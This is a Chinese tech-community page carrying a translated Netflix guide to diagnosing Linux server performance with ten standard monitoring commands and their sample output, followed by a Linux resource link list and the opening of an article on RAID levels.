23:51:26 up 21:31, 1 user, load average: 30.02, 26.43, 19.02这个命令可以快速查看机器的负载情况。在Linux系统中,这些数据表示等待CPU资源的进程和阻塞在不可中断IO进程(进程状态为D)的数量。这些数据可以让我们对系统资源使用有一个宏观的了解。

命令的输出分别表示1分钟、5分钟、15分钟的平均负载情况。通过这三个数据,可以了解服务器负载是在趋于紧张还是区域缓解。如果1分钟平均负载很高,而15分钟平均负载很低,说明服务器正在命令高负载情况,需要进一步排查CPU资源都消耗在了哪里。反之,如果15分钟平均负载很高,1分钟平均负载较低,则有可能是CPU资源紧张时刻已经过去。

上面例子中的输出,可以看见最近1分钟的平均负载非常高,且远高于最近15分钟负载,因此我们需要继续排查当前系统中有什么进程消耗了大量的资源。可以通过下文将会介绍的vmstat、mpstat等命令进一步排查。

dmesg | tail

$ dmesg | tail
[1880957.563150] perl invoked oom-killer: gfp_mask=0x280da, order=0, oom_score_adj=0
[...]
[1880957.563400] Out of memory: Kill process 18694 (perl) score 246 or sacrifice child
[1880957.563408] Killed process 18694 (perl) total-vm:1972392kB, anon-rss:1953348kB, file-rss:0kB
[2320864.954447] TCP: Possible SYN flooding on port 7001. Dropping request. Check SNMP counters.该命令会输出系统日志的最后10行。示例中的输出,可以看见一次内核的oom kill和一次TCP丢包。这些日志可以帮助排查性能问题。千万不要忘了这一步。

vmstat 1

$ vmstat 1
procs ---------memory---------- ---swap-- -----io---- -system-- ------cpu-----
r b swpd free buff cache si so bi bo in cs us sy id wa st
34 0 0 200889792 73708 591828 0 0 0 5 6 10 96 1 3 0 0
32 0 0 200889920 73708 591860 0 0 0 592 13284 4282 98 1 1 0 0
32 0 0 200890112 73708 591860 0 0 0 0 9501 2154 99 1 0 0 0
32 0 0 200889568 73712 591856 0 0 0 48 11900 2459 99 0 0 0 0
32 0 0 200890208 73712 591860 0 0 0 0 15898 4840 98 1 1 0 0
^Cvmstat(8) 命令,每行会输出一些系统核心指标,这些指标可以让我们更详细的了解系统状态。后面跟的参数1,表示每秒输出一次统计信息,表头提示了每一列的含义,这几介绍一些和性能调优相关的列:
[]r:等待在CPU资源的进程数。这个数据比平均负载更加能够体现CPU负载情况,数据中不包含等待IO的进程。如果这个数值大于机器CPU核数,那么机器的CPU资源已经饱和。[/][]free:系统可用内存数(以千字节为单位),如果剩余内存不足,也会导致系统性能问题。下文介绍到的free命令,可以更详细的了解系统内存的使用情况。[/][]si, so:交换区写入和读取的数量。如果这个数据不为0,说明系统已经在使用交换区(swap),机器物理内存已经不足。[/][]us, sy, id, wa, st:这些都代表了CPU时间的消耗,它们分别表示用户时间(user)、系统(内核)时间(sys)、空闲时间(idle)、IO等待时间(wait)和被偷走的时间(stolen,一般被其他虚拟机消耗)。[/]

上述这些CPU时间,可以让我们很快了解CPU是否出于繁忙状态。一般情况下,如果用户时间和系统时间相加非常大,CPU出于忙于执行指令。如果IO等待时间很长,那么系统的瓶颈可能在磁盘IO。

示例命令的输出可以看见,大量CPU时间消耗在用户态,也就是用户应用程序消耗了CPU时间。这不一定是性能问题,需要结合r队列,一起分析。

mpstat -P ALL 1

$ mpstat -P ALL 1
Linux 3.13.0-49-generic (titanclusters-xxxxx) 07/14/2015 _x86_64_ (32 CPU)
07:38:49 PM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle
07:38:50 PM all 98.47 0.00 0.75 0.00 0.00 0.00 0.00 0.00 0.00 0.78
07:38:50 PM 0 96.04 0.00 2.97 0.00 0.00 0.00 0.00 0.00 0.00 0.99
07:38:50 PM 1 97.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 2.00
07:38:50 PM 2 98.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00
07:38:50 PM 3 96.97 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 3.03
[...]该命令可以显示每个CPU的占用情况,如果有一个CPU占用率特别高,那么有可能是一个单线程应用程序引起的。

pidstat 1

$ pidstat 1
Linux 3.13.0-49-generic (titanclusters-xxxxx) 07/14/2015 _x86_64_ (32 CPU)
07:41:02 PM UID PID %usr %system %guest %CPU CPU Command
07:41:03 PM 0 9 0.00 0.94 0.00 0.94 1 rcuos/0
07:41:03 PM 0 4214 5.66 5.66 0.00 11.32 15 mesos-slave
07:41:03 PM 0 4354 0.94 0.94 0.00 1.89 8 java
07:41:03 PM 0 6521 1596.23 1.89 0.00 1598.11 27 java
07:41:03 PM 0 6564 1571.70 7.55 0.00 1579.25 28 java
07:41:03 PM 60004 60154 0.94 4.72 0.00 5.66 9 pidstat
07:41:03 PM UID PID %usr %system %guest %CPU CPU Command
07:41:04 PM 0 4214 6.00 2.00 0.00 8.00 15 mesos-slave
07:41:04 PM 0 6521 1590.00 1.00 0.00 1591.00 27 java
07:41:04 PM 0 6564 1573.00 10.00 0.00 1583.00 28 java
07:41:04 PM 108 6718 1.00 0.00 0.00 1.00 0 snmp-pass
07:41:04 PM 60004 60154 1.00 4.00 0.00 5.00 9 pidstat
^Cpidstat命令输出进程的CPU占用率,该命令会持续输出,并且不会覆盖之前的数据,可以方便观察系统动态。如上的输出,可以看见两个JAVA进程占用了将近1600%的CPU时间,既消耗了大约16个CPU核心的运算资源。

iostat -xz 1

$ iostat -xz 1
Linux 3.13.0-49-generic (titanclusters-xxxxx) 07/14/2015 _x86_64_ (32 CPU)
avg-cpu: %user %nice %system %iowait %steal %idle
73.96 0.00 3.73 0.03 0.06 22.21
Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await r_await w_await svctm %util
xvda 0.00 0.23 0.21 0.18 4.52 2.08 34.37 0.00 9.98 13.80 5.42 2.44 0.09
xvdb 0.01 0.00 1.02 8.94 127.97 598.53 145.79 0.00 0.43 1.78 0.28 0.25 0.25
xvdc 0.01 0.00 1.02 8.86 127.79 595.94 146.50 0.00 0.45 1.82 0.30 0.27 0.26
dm-0 0.00 0.00 0.69 2.32 10.47 31.69 28.01 0.01 3.23 0.71 3.98 0.13 0.04
dm-1 0.00 0.00 0.00 0.94 0.01 3.78 8.00 0.33 345.84 0.04 346.81 0.01 0.00
dm-2 0.00 0.00 0.09 0.07 1.35 0.36 22.50 0.00 2.55 0.23 5.62 1.78 0.03
[...]
^Ciostat命令主要用于查看机器磁盘IO情况。该命令输出的列,主要含义是:
[]r/s, w/s, rkB/s, wkB/s:分别表示每秒读写次数和每秒读写数据量(千字节)。读写量过大,可能会引起性能问题。[/][]await:IO操作的平均等待时间,单位是毫秒。这是应用程序在和磁盘交互时,需要消耗的时间,包括IO等待和实际操作的耗时。如果这个数值过大,可能是硬件设备遇到了瓶颈或者出现故障。[/][]avgqu-sz:向设备发出的请求平均数量。如果这个数值大于1,可能是硬件设备已经饱和(部分前端硬件设备支持并行写入)。[/][]%util:设备利用率。这个数值表示设备的繁忙程度,经验值是如果超过60,可能会影响IO性能(可以参照IO操作平均等待时间)。如果到达100%,说明硬件设备已经饱和。[/]

如果显示的是逻辑设备的数据,那么设备利用率不代表后端实际的硬件设备已经饱和。值得注意的是,即使IO性能不理想,也不一定意味这应用程序性能会不好,可以利用诸如预读取、写缓存等策略提升应用性能。

free –m

$ free -m
total used free shared buffers cached
Mem: 245998 24545 221453 83 59 541
-/+ buffers/cache: 23944 222053
Swap: 0 0 0free命令可以查看系统内存的使用情况,-m参数表示按照兆字节展示。最后两列分别表示用于IO缓存的内存数,和用于文件系统页缓存的内存数。需要注意的是,第二行-/+ buffers/cache,看上去缓存占用了大量内存空间。这是Linux系统的内存使用策略,尽可能的利用内存,如果应用程序需要内存,这部分内存会立即被回收并分配给应用程序。因此,这部分内存一般也被当成是可用内存。

如果可用内存非常少,系统可能会动用交换区(如果配置了的话),这样会增加IO开销(可以在iostat命令中提现),降低系统性能。

sar -n DEV 1

$ sar -n DEV 1
Linux 3.13.0-49-generic (titanclusters-xxxxx) 07/14/2015 _x86_64_ (32 CPU)
12:16:48 AM IFACE rxpck/s txpck/s rxkB/s txkB/s rxcmp/s txcmp/s rxmcst/s %ifutil
12:16:49 AM eth0 18763.00 5032.00 20686.42 478.30 0.00 0.00 0.00 0.00
12:16:49 AM lo 14.00 14.00 1.36 1.36 0.00 0.00 0.00 0.00
12:16:49 AM docker0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
12:16:49 AM IFACE rxpck/s txpck/s rxkB/s txkB/s rxcmp/s txcmp/s rxmcst/s %ifutil
12:16:50 AM eth0 19763.00 5101.00 21999.10 482.56 0.00 0.00 0.00 0.00
12:16:50 AM lo 20.00 20.00 3.25 3.25 0.00 0.00 0.00 0.00
12:16:50 AM docker0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
^Csar命令在这里可以查看网络设备的吞吐率。在排查性能问题时,可以通过网络设备的吞吐量,判断网络设备是否已经饱和。如示例输出中,eth0网卡设备,吞吐率大概在22 Mbytes/s,既176 Mbits/sec,没有达到1Gbit/sec的硬件上限。

sar -n TCP,ETCP 1

$ sar -n TCP,ETCP 1
Linux 3.13.0-49-generic (titanclusters-xxxxx) 07/14/2015 _x86_64_ (32 CPU)
12:17:19 AM active/s passive/s iseg/s oseg/s
12:17:20 AM 1.00 0.00 10233.00 18846.00
12:17:19 AM atmptf/s estres/s retrans/s isegerr/s orsts/s
12:17:20 AM 0.00 0.00 0.00 0.00 0.00
12:17:20 AM active/s passive/s iseg/s oseg/s
12:17:21 AM 1.00 0.00 8359.00 6039.00
12:17:20 AM atmptf/s estres/s retrans/s isegerr/s orsts/s
12:17:21 AM 0.00 0.00 0.00 0.00 0.00
^Csar命令在这里用于查看TCP连接状态,其中包括:
[]active/s:每秒本地发起的TCP连接数,既通过connect调用创建的TCP连接;[/][]passive/s:每秒远程发起的TCP连接数,即通过accept调用创建的TCP连接;[/][]retrans/s:每秒TCP重传数量;[/]
TCP连接数可以用来判断性能问题是否由于建立了过多的连接,进一步可以判断是主动发起的连接,还是被动接受的连接。TCP重传可能是因为网络环境恶劣,或者服务器压力过大导致丢包。

top

$ top
top - 00:15:40 up 21:56, 1 user, load average: 31.09, 29.87, 29.92
Tasks: 871 total, 1 running, 868 sleeping, 0 stopped, 2 zombie
%Cpu(s): 96.8 us, 0.4 sy, 0.0 ni, 2.7 id, 0.1 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem: 25190241+total, 24921688 used, 22698073+free, 60448 buffers
KiB Swap: 0 total, 0 used, 0 free. 554208 cached Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
20248 root 20 0 0.227t 0.012t 18748 S 3090 5.2 29812:58 java
4213 root 20 0 2722544 64640 44232 S 23.5 0.0 233:35.37 mesos-slave
66128 titancl+ 20 0 24344 2332 1172 R 1.0 0.0 0:00.07 top
5235 root 20 0 38.227g 547004 49996 S 0.7 0.2 2:02.74 java
4299 root 20 0 20.015g 2.682g 16836 S 0.3 1.1 33:14.42 java
1 root 20 0 33620 2920 1496 S 0.0 0.0 0:03.82 init
2 root 20 0 0 0 0 S 0.0 0.0 0:00.02 kthreadd
3 root 20 0 0 0 0 S 0.0 0.0 0:05.35 ksoftirqd/0
5 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 kworker/0:0H
6 root 20 0 0 0 0 S 0.0 0.0 0:06.94 kworker/u256:0
8 root 20 0 0 0 0 S 0.0 0.0 2:38.05 rcu_sched

top命令包含了前面好几个命令的检查的内容。比如系统负载情况(uptime)、系统内存使用情况(free)、系统CPU使用情况(vmstat)等。因此通过这个命令,可以相对全面的查看系统负载的来源。同时,top命令支持排序,可以按照不同的列排序,方便查找出诸如内存占用最多的进程、CPU占用率最高的进程等。

但是,top命令相对于前面一些命令,输出是一个瞬间值,如果不持续盯着,可能会错过一些线索。这时可能需要暂停top命令刷新,来记录和比对数据。

总结

排查Linux服务器性能问题还有很多工具,上面介绍的一些命令,可以帮助我们快速的定位问题。例如前面的示例输出,多个证据证明有JAVA进程占用了大量CPU资源,之后的性能调优就可以针对应用程序进行。

英文原文:http://techblog.netflix.com/2015/11/linux-performance-analysis-in-60s.html
翻译原文:http://www.infoq.com/cn/news/2015/12/linux-performance 查看全部
如果你的Linux服务器突然负载暴增,告警短信快发爆你的手机,如何在最短时间内找出Linux性能问题所在?下面让我们看看看Neflix通过十条命令在一分钟内对机器性能问题进行诊断。


概述


通过执行以下命令,可以在1分钟内对系统资源使用情况有个大致的了解。
    []uptime[/][]dmesg | tail[/][]vmstat 1[/][]mpstat -P ALL 1[/][]pidstat 1[/][]iostat -xz 1[/][]free -m[/][]sar -n DEV 1[/][]sar -n TCP,ETCP 1[/][]top[/]

其中一些命令需要安装sysstat包,有一些由procps包提供。这些命令的输出,有助于快速定位性能瓶颈,检查出所有资源(CPU、内存、磁盘IO等)的利用率(utilization)、饱和度(saturation)和错误(error)度量,也就是所谓的USE方法
下面我们来逐一介绍下这些命令,有关这些命令更多的参数和说明,请参照命令的手册。


uptime


$ uptime
23:51:26 up 21:31, 1 user, load average: 30.02, 26.43, 19.02
这个命令可以快速查看机器的负载情况。在Linux系统中,这些数据表示等待CPU资源的进程和阻塞在不可中断IO进程(进程状态为D)的数量。这些数据可以让我们对系统资源使用有一个宏观的了解。

命令的输出分别表示1分钟、5分钟、15分钟的平均负载情况。通过这三个数据,可以了解服务器负载是在趋于紧张还是区域缓解。如果1分钟平均负载很高,而15分钟平均负载很低,说明服务器正在命令高负载情况,需要进一步排查CPU资源都消耗在了哪里。反之,如果15分钟平均负载很高,1分钟平均负载较低,则有可能是CPU资源紧张时刻已经过去。

上面例子中的输出,可以看见最近1分钟的平均负载非常高,且远高于最近15分钟负载,因此我们需要继续排查当前系统中有什么进程消耗了大量的资源。可以通过下文将会介绍的vmstat、mpstat等命令进一步排查。


dmesg | tail


$ dmesg | tail
[1880957.563150] perl invoked oom-killer: gfp_mask=0x280da, order=0, oom_score_adj=0
[...]
[1880957.563400] Out of memory: Kill process 18694 (perl) score 246 or sacrifice child
[1880957.563408] Killed process 18694 (perl) total-vm:1972392kB, anon-rss:1953348kB, file-rss:0kB
[2320864.954447] TCP: Possible SYN flooding on port 7001. Dropping request. Check SNMP counters.
该命令会输出系统日志的最后10行。示例中的输出,可以看见一次内核的oom kill和一次TCP丢包。这些日志可以帮助排查性能问题。千万不要忘了这一步。


vmstat 1


$ vmstat 1
procs ---------memory---------- ---swap-- -----io---- -system-- ------cpu-----
r b swpd free buff cache si so bi bo in cs us sy id wa st
34 0 0 200889792 73708 591828 0 0 0 5 6 10 96 1 3 0 0
32 0 0 200889920 73708 591860 0 0 0 592 13284 4282 98 1 1 0 0
32 0 0 200890112 73708 591860 0 0 0 0 9501 2154 99 1 0 0 0
32 0 0 200889568 73712 591856 0 0 0 48 11900 2459 99 0 0 0 0
32 0 0 200890208 73712 591860 0 0 0 0 15898 4840 98 1 1 0 0
^C
vmstat(8) 命令,每行会输出一些系统核心指标,这些指标可以让我们更详细的了解系统状态。后面跟的参数1,表示每秒输出一次统计信息,表头提示了每一列的含义,这几介绍一些和性能调优相关的列:
    []r:等待在CPU资源的进程数。这个数据比平均负载更加能够体现CPU负载情况,数据中不包含等待IO的进程。如果这个数值大于机器CPU核数,那么机器的CPU资源已经饱和。[/][]free:系统可用内存数(以千字节为单位),如果剩余内存不足,也会导致系统性能问题。下文介绍到的free命令,可以更详细的了解系统内存的使用情况。[/][]si, so:交换区写入和读取的数量。如果这个数据不为0,说明系统已经在使用交换区(swap),机器物理内存已经不足。[/][]us, sy, id, wa, st:这些都代表了CPU时间的消耗,它们分别表示用户时间(user)、系统(内核)时间(sys)、空闲时间(idle)、IO等待时间(wait)和被偷走的时间(stolen,一般被其他虚拟机消耗)。[/]


上述这些CPU时间,可以让我们很快了解CPU是否出于繁忙状态。一般情况下,如果用户时间和系统时间相加非常大,CPU出于忙于执行指令。如果IO等待时间很长,那么系统的瓶颈可能在磁盘IO。

示例命令的输出可以看见,大量CPU时间消耗在用户态,也就是用户应用程序消耗了CPU时间。这不一定是性能问题,需要结合r队列,一起分析。


mpstat -P ALL 1


$ mpstat -P ALL 1
Linux 3.13.0-49-generic (titanclusters-xxxxx) 07/14/2015 _x86_64_ (32 CPU)
07:38:49 PM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle
07:38:50 PM all 98.47 0.00 0.75 0.00 0.00 0.00 0.00 0.00 0.00 0.78
07:38:50 PM 0 96.04 0.00 2.97 0.00 0.00 0.00 0.00 0.00 0.00 0.99
07:38:50 PM 1 97.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 2.00
07:38:50 PM 2 98.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00
07:38:50 PM 3 96.97 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 3.03
[...]
该命令可以显示每个CPU的占用情况,如果有一个CPU占用率特别高,那么有可能是一个单线程应用程序引起的。


pidstat 1


$ pidstat 1
Linux 3.13.0-49-generic (titanclusters-xxxxx) 07/14/2015 _x86_64_ (32 CPU)
07:41:02 PM UID PID %usr %system %guest %CPU CPU Command
07:41:03 PM 0 9 0.00 0.94 0.00 0.94 1 rcuos/0
07:41:03 PM 0 4214 5.66 5.66 0.00 11.32 15 mesos-slave
07:41:03 PM 0 4354 0.94 0.94 0.00 1.89 8 java
07:41:03 PM 0 6521 1596.23 1.89 0.00 1598.11 27 java
07:41:03 PM 0 6564 1571.70 7.55 0.00 1579.25 28 java
07:41:03 PM 60004 60154 0.94 4.72 0.00 5.66 9 pidstat
07:41:03 PM UID PID %usr %system %guest %CPU CPU Command
07:41:04 PM 0 4214 6.00 2.00 0.00 8.00 15 mesos-slave
07:41:04 PM 0 6521 1590.00 1.00 0.00 1591.00 27 java
07:41:04 PM 0 6564 1573.00 10.00 0.00 1583.00 28 java
07:41:04 PM 108 6718 1.00 0.00 0.00 1.00 0 snmp-pass
07:41:04 PM 60004 60154 1.00 4.00 0.00 5.00 9 pidstat
^C
pidstat命令输出进程的CPU占用率,该命令会持续输出,并且不会覆盖之前的数据,可以方便观察系统动态。如上的输出,可以看见两个JAVA进程占用了将近1600%的CPU时间,既消耗了大约16个CPU核心的运算资源。


iostat -xz 1


$ iostat -xz 1
Linux 3.13.0-49-generic (titanclusters-xxxxx) 07/14/2015 _x86_64_ (32 CPU)
avg-cpu: %user %nice %system %iowait %steal %idle
73.96 0.00 3.73 0.03 0.06 22.21
Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await r_await w_await svctm %util
xvda 0.00 0.23 0.21 0.18 4.52 2.08 34.37 0.00 9.98 13.80 5.42 2.44 0.09
xvdb 0.01 0.00 1.02 8.94 127.97 598.53 145.79 0.00 0.43 1.78 0.28 0.25 0.25
xvdc 0.01 0.00 1.02 8.86 127.79 595.94 146.50 0.00 0.45 1.82 0.30 0.27 0.26
dm-0 0.00 0.00 0.69 2.32 10.47 31.69 28.01 0.01 3.23 0.71 3.98 0.13 0.04
dm-1 0.00 0.00 0.00 0.94 0.01 3.78 8.00 0.33 345.84 0.04 346.81 0.01 0.00
dm-2 0.00 0.00 0.09 0.07 1.35 0.36 22.50 0.00 2.55 0.23 5.62 1.78 0.03
[...]
^C
iostat命令主要用于查看机器磁盘IO情况。该命令输出的列,主要含义是:
    []r/s, w/s, rkB/s, wkB/s:分别表示每秒读写次数和每秒读写数据量(千字节)。读写量过大,可能会引起性能问题。[/][]await:IO操作的平均等待时间,单位是毫秒。这是应用程序在和磁盘交互时,需要消耗的时间,包括IO等待和实际操作的耗时。如果这个数值过大,可能是硬件设备遇到了瓶颈或者出现故障。[/][]avgqu-sz:向设备发出的请求平均数量。如果这个数值大于1,可能是硬件设备已经饱和(部分前端硬件设备支持并行写入)。[/][]%util:设备利用率。这个数值表示设备的繁忙程度,经验值是如果超过60,可能会影响IO性能(可以参照IO操作平均等待时间)。如果到达100%,说明硬件设备已经饱和。[/]


如果显示的是逻辑设备的数据,那么设备利用率不代表后端实际的硬件设备已经饱和。值得注意的是,即使IO性能不理想,也不一定意味这应用程序性能会不好,可以利用诸如预读取、写缓存等策略提升应用性能。


free –m


$ free -m
total used free shared buffers cached
Mem: 245998 24545 221453 83 59 541
-/+ buffers/cache: 23944 222053
Swap: 0 0 0
free命令可以查看系统内存的使用情况,-m参数表示按照兆字节展示。最后两列分别表示用于IO缓存的内存数,和用于文件系统页缓存的内存数。需要注意的是,第二行-/+ buffers/cache,看上去缓存占用了大量内存空间。这是Linux系统的内存使用策略,尽可能的利用内存,如果应用程序需要内存,这部分内存会立即被回收并分配给应用程序。因此,这部分内存一般也被当成是可用内存。

如果可用内存非常少,系统可能会动用交换区(如果配置了的话),这样会增加IO开销(可以在iostat命令中提现),降低系统性能。


sar -n DEV 1


$ sar -n DEV 1
Linux 3.13.0-49-generic (titanclusters-xxxxx) 07/14/2015 _x86_64_ (32 CPU)
12:16:48 AM IFACE rxpck/s txpck/s rxkB/s txkB/s rxcmp/s txcmp/s rxmcst/s %ifutil
12:16:49 AM eth0 18763.00 5032.00 20686.42 478.30 0.00 0.00 0.00 0.00
12:16:49 AM lo 14.00 14.00 1.36 1.36 0.00 0.00 0.00 0.00
12:16:49 AM docker0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
12:16:49 AM IFACE rxpck/s txpck/s rxkB/s txkB/s rxcmp/s txcmp/s rxmcst/s %ifutil
12:16:50 AM eth0 19763.00 5101.00 21999.10 482.56 0.00 0.00 0.00 0.00
12:16:50 AM lo 20.00 20.00 3.25 3.25 0.00 0.00 0.00 0.00
12:16:50 AM docker0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
^C
sar命令在这里可以查看网络设备的吞吐率。在排查性能问题时,可以通过网络设备的吞吐量,判断网络设备是否已经饱和。如示例输出中,eth0网卡设备,吞吐率大概在22 Mbytes/s,既176 Mbits/sec,没有达到1Gbit/sec的硬件上限。


sar -n TCP,ETCP 1


$ sar -n TCP,ETCP 1
Linux 3.13.0-49-generic (titanclusters-xxxxx) 07/14/2015 _x86_64_ (32 CPU)
12:17:19 AM active/s passive/s iseg/s oseg/s
12:17:20 AM 1.00 0.00 10233.00 18846.00
12:17:19 AM atmptf/s estres/s retrans/s isegerr/s orsts/s
12:17:20 AM 0.00 0.00 0.00 0.00 0.00
12:17:20 AM active/s passive/s iseg/s oseg/s
12:17:21 AM 1.00 0.00 8359.00 6039.00
12:17:20 AM atmptf/s estres/s retrans/s isegerr/s orsts/s
12:17:21 AM 0.00 0.00 0.00 0.00 0.00
^C
sar命令在这里用于查看TCP连接状态,其中包括:
    []active/s:每秒本地发起的TCP连接数,既通过connect调用创建的TCP连接;[/][]passive/s:每秒远程发起的TCP连接数,即通过accept调用创建的TCP连接;[/][]retrans/s:每秒TCP重传数量;[/]

TCP连接数可以用来判断性能问题是否由于建立了过多的连接,进一步可以判断是主动发起的连接,还是被动接受的连接。TCP重传可能是因为网络环境恶劣,或者服务器压力过大导致丢包。


top


$ top
top - 00:15:40 up 21:56, 1 user, load average: 31.09, 29.87, 29.92
Tasks: 871 total, 1 running, 868 sleeping, 0 stopped, 2 zombie
%Cpu(s): 96.8 us, 0.4 sy, 0.0 ni, 2.7 id, 0.1 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem: 25190241+total, 24921688 used, 22698073+free, 60448 buffers
KiB Swap: 0 total, 0 used, 0 free. 554208 cached Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
20248 root 20 0 0.227t 0.012t 18748 S 3090 5.2 29812:58 java
4213 root 20 0 2722544 64640 44232 S 23.5 0.0 233:35.37 mesos-slave
66128 titancl+ 20 0 24344 2332 1172 R 1.0 0.0 0:00.07 top
5235 root 20 0 38.227g 547004 49996 S 0.7 0.2 2:02.74 java
4299 root 20 0 20.015g 2.682g 16836 S 0.3 1.1 33:14.42 java
1 root 20 0 33620 2920 1496 S 0.0 0.0 0:03.82 init
2 root 20 0 0 0 0 S 0.0 0.0 0:00.02 kthreadd
3 root 20 0 0 0 0 S 0.0 0.0 0:05.35 ksoftirqd/0
5 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 kworker/0:0H
6 root 20 0 0 0 0 S 0.0 0.0 0:06.94 kworker/u256:0
8 root 20 0 0 0 0 S 0.0 0.0 2:38.05 rcu_sched

top命令包含了前面好几个命令的检查的内容。比如系统负载情况(uptime)、系统内存使用情况(free)、系统CPU使用情况(vmstat)等。因此通过这个命令,可以相对全面的查看系统负载的来源。同时,top命令支持排序,可以按照不同的列排序,方便查找出诸如内存占用最多的进程、CPU占用率最高的进程等。

但是,top命令相对于前面一些命令,输出是一个瞬间值,如果不持续盯着,可能会错过一些线索。这时可能需要暂停top命令刷新,来记录和比对数据。


总结


排查Linux服务器性能问题还有很多工具,上面介绍的一些命令,可以帮助我们快速的定位问题。例如前面的示例输出,多个证据证明有JAVA进程占用了大量CPU资源,之后的性能调优就可以针对应用程序进行。


英文原文:http://techblog.netflix.com/2015/11/linux-performance-analysis-in-60s.html
翻译原文:http://www.infoq.com/cn/news/2015/12/linux-performance


Linux知识工具大全

开源技术OpenSkill 发表了文章 • 0 个评论 • 2455 次浏览 • 2015-12-03 23:19 • 来自相关话题

简介:
Linux is a Unix-ish POSIX-compliant OS family. Most of the distros are GPL or otherwise FOSS. The defining component of Linux is the Linux Kernel, first released on 5 October 1991 by Linus Torvalds.

新版本






开始






受欢迎的网站






著名发行版本






Grok Linux       






Linux Virt






可调参数






Linux日志






Book/ebooks






Kernel Matrix 






内核地图






In Production






Linux论坛






shell指南






Linux安全






Linux桌面






防火墙






linux NAS






最佳实践





http://openskill.cn  开源技术社区分享
只做技术的分享,欢迎关注微信订阅号:




QQ群交流:





分享英文原文链接:https://linux.zeef.com/paul.reiber 查看全部
简介:
Linux is a Unix-ish POSIX-compliant OS family. Most of the distros are GPL or otherwise FOSS. The defining component of Linux is the Linux Kernel, first released on 5 October 1991 by Linus Torvalds.


新版本


linux1.png


开始


Linux2.png


受欢迎的网站


Linux3.png


著名发行版本


Linux4.png


Grok Linux       


Linux5.png


Linux Virt


Linux6.png


可调参数


Linux7.png


Linux日志


Linux8.png


Book/ebooks


Linux9.png


Kernel Matrix 


Linux10.png


内核地图


linux11.png


In Production


linux12.png


Linux论坛


linux13.png


shell指南


linux14.png


Linux安全


linux15.png


Linux桌面


linux16.png


防火墙


Linux17.png


linux NAS


Linux18.png


最佳实践


Linux19.png

http://openskill.cn  开源技术社区分享
只做技术的分享,欢迎关注微信订阅号:
openskill.gif

QQ群交流:
qqun.png


分享英文原文链接:https://linux.zeef.com/paul.reiber


Raid级别结构知识浅析

开源技术Ansible 发表了文章 • 1 个评论 • 1572 次浏览 • 2015-11-27 01:15 • 来自相关话题

一、Raid介绍

RAID是(Redundent Array of Inexpensive Disks)的缩写,直译为“廉价冗余磁盘阵列”,也简称为“磁盘阵列”。后来RAID中的字母I被改作了Independent,RAID就成了“独立冗余磁盘阵列”,但这只是名称的变化,实质性的内容并没有改变。可以把RAID理解成一种使用磁盘驱动器的方法,它将一组磁盘驱动器用某种逻辑方式联系起来,作为逻辑上的一个磁盘驱动器来使用。RAID 包含一组或者一个集合甚至一个阵列。使用一组磁盘结合驱动器组成 RAID 阵列或 RAID 集。将至少两个磁盘连接到一个 RAID 控制器,而成为一个逻辑卷,也可以将多个驱动器放在一个组中。一组磁盘只能使用一个 RAID 级别。使用 RAID 可以提高服务器的性能。不同 RAID 的级别,性能会有所不同。它通过容错和高可用性来保存我们的数据。RAID的优点:
[]传输速率高。在部分RAID模式中,可以让很多磁盘驱动器同时传输数据,而这些磁盘驱动器在逻辑上又是一个磁盘驱动器,所以使用RAID可以达到单个的磁盘驱动器几倍的速率。因为CPU的速度增长很快,而磁盘驱动器的数据传输速率无法大幅提高,所以需要有一种方案解决二者之间的矛盾。[/][]更高的安全性。相较于普通磁盘驱动器很多RAID模式都提供了多种数据修复功能,当RAID中的某一磁盘驱动器出现严重故障无法使用时,可以通过RAID中的其他磁盘驱动器来恢复此驱动器中的数据,而普通磁盘驱动器无法实现,这是使用RAID的第二个原因。[/]

二、Raid概念

软件 RAID 和硬件 RAID软件 RAID 的性能较低,因为其使用主机的资源。 需要加载 RAID 软件以从软件 RAID 卷中读取数据。在加载 RAID 软件前,操作系统需要引导起来才能加载 RAID 软件。在软件 RAID 中无需物理硬件。零成本投资。硬件 RAID 的性能较高。他们采用 PCI Express 卡物理地提供有专用的 RAID 控制器。它不会使用主机资源。他们有 NVRAM 用于缓存的读取和写入。缓存用于 RAID 重建时,即使出现电源故障,它会使用后备的电池电源保持缓存。对于大规模使用是非常昂贵的投资。硬件 RAID 卡如下所示:




几个重要Raid概念:
[]校验方式用在 RAID 重建中从校验所保存的信息中重新生成丢失的内容。 RAID 5,RAID 6 基于校验。[/][]条带化是将切片数据随机存储到多个磁盘。它不会在单个磁盘中保存完整的数据。如果我们使用2个磁盘,则每个磁盘存储我们的一半数据。[/][]镜像被用于 RAID 1 和 RAID 10。镜像会自动备份数据。在 RAID 1 中,它会保存相同的内容到其他盘上。[/][]热备份只是我们的服务器上的一个备用驱动器,它可以自动更换发生故障的驱动器。在我们的阵列中,如果任何一个驱动器损坏,热备份驱动器会自动用于重建 RAID。[/][]块是 RAID 控制器每次读写数据时的最小单位,最小 4KB。通过定义块大小,我们可以增加 I/O 性能。[/]

三、Raid级别

RAID有不同的级别,下面列举比较常用的模式:
[]RAID0 = 条带化[/][]RAID1 = 镜像[/][]RAID5 = 单磁盘分布式奇偶校验[/][]RAID6 = 双磁盘分布式奇偶校验[/][]RAID10 = 镜像 + 条带。(嵌套RAID)[/]
 
Raid 0



